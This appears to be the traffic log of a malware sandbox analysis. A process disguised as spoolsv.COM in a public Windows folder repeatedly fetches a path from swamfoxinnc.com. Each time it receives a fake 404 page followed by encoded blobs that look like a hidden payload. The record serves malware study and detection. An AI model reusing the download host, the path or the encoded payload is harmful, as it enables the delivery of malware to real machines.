                                                  2024-12-19 11:39:20 UTC16384INData Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46
                                                  Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
                                                  2024-12-19 11:39:20 UTC9335INData Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30
                                                  Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0


                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                  1192.168.2.449733176.123.5.1434437828C:\Users\Public\Libraries\spoolsv.COM
                                                  TimestampBytes transferredDirectionData
                                                  2024-12-19 11:39:21 UTC164OUTGET /233_Svcrhpjadgy HTTP/1.1
                                                  Connection: Keep-Alive
                                                  Accept: */*
                                                  User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                  Host: swamfoxinnc.com
                                                  2024-12-19 11:39:23 UTC191INHTTP/1.1 404 Not Found
                                                  Server: nginx
                                                  Date: Thu, 19 Dec 2024 11:39:23 GMT
                                                  Content-Type: text/html
                                                  Content-Length: 58296
                                                  Connection: close
                                                  Vary: Accept-Encoding
                                                  ETag: "674db0b4-e3b8"
                                                  2024-12-19 11:39:23 UTC16193INData Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a
                                                  Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
                                                  2024-12-19 11:39:23 UTC16384INData Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54
                                                  Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
                                                  2024-12-19 11:39:23 UTC16384INData Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46
                                                  Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
                                                  2024-12-19 11:39:23 UTC9335INData Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30
                                                  Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0


                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                  2192.168.2.449735176.123.5.1434437828C:\Users\Public\Libraries\spoolsv.COM
                                                  TimestampBytes transferredDirectionData
                                                  2024-12-19 11:39:25 UTC164OUTGET /233_Svcrhpjadgy HTTP/1.1
                                                  Connection: Keep-Alive
                                                  Accept: */*
                                                  User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                  Host: swamfoxinnc.com
                                                  2024-12-19 11:39:26 UTC191INHTTP/1.1 404 Not Found
                                                  Server: nginx
                                                  Date: Thu, 19 Dec 2024 11:39:26 GMT
                                                  Content-Type: text/html
                                                  Content-Length: 58296
                                                  Connection: close
                                                  Vary: Accept-Encoding
                                                  ETag: "674db0b4-e3b8"
                                                  2024-12-19 11:39:26 UTC16193INData Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a
                                                  Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
                                                  2024-12-19 11:39:26 UTC16384INData Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54
                                                  Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
                                                  2024-12-19 11:39:26 UTC16384INData Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46
                                                  Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
                                                  2024-12-19 11:39:27 UTC9335INData Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30
                                                  Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0


                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                  3192.168.2.449737176.123.5.1434437828C:\Users\Public\Libraries\spoolsv.COM
                                                  TimestampBytes transferredDirectionData
                                                  2024-12-19 11:39:28 UTC164OUTGET /233_Svcrhpjadgy HTTP/1.1
                                                  Connection: Keep-Alive
                                                  Accept: */*
                                                  User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                  Host: swamfoxinnc.com
                                                  2024-12-19 11:39:30 UTC191INHTTP/1.1 404 Not Found
                                                  Server: nginx
                                                  Date: Thu, 19 Dec 2024 11:39:29 GMT
                                                  Content-Type: text/html
                                                  Content-Length: 58296
                                                  Connection: close
                                                  Vary: Accept-Encoding
                                                  ETag: "674db0b4-e3b8"
                                                  2024-12-19 11:39:30 UTC16193INData Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a
                                                  Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
                                                  2024-12-19 11:39:30 UTC16384INData Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54
                                                  Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
                                                  2024-12-19 11:39:30 UTC16384INData Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46
                                                  Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
                                                  2024-12-19 11:39:30 UTC9335INData Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30
                                                  Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0


                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                  4192.168.2.449740176.123.5.1434437828C:\Users\Public\Libraries\spoolsv.COM
                                                  TimestampBytes transferredDirectionData
                                                  2024-12-19 11:39:32 UTC164OUTGET /233_Svcrhpjadgy HTTP/1.1
                                                  Connection: Keep-Alive
                                                  Accept: */*
                                                  User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                  Host: swamfoxinnc.com
                                                  2024-12-19 11:39:33 UTC191INHTTP/1.1 404 Not Found
                                                  Server: nginx
                                                  Date: Thu, 19 Dec 2024 11:39:33 GMT
                                                  Content-Type: text/html
                                                  Content-Length: 58296
                                                  Connection: close
                                                  Vary: Accept-Encoding
                                                  ETag: "674db0b4-e3b8"
                                                  2024-12-19 11:39:33 UTC16193INData Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a
                                                  Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
                                                  2024-12-19 11:39:33 UTC16384INData Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54
                                                  Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
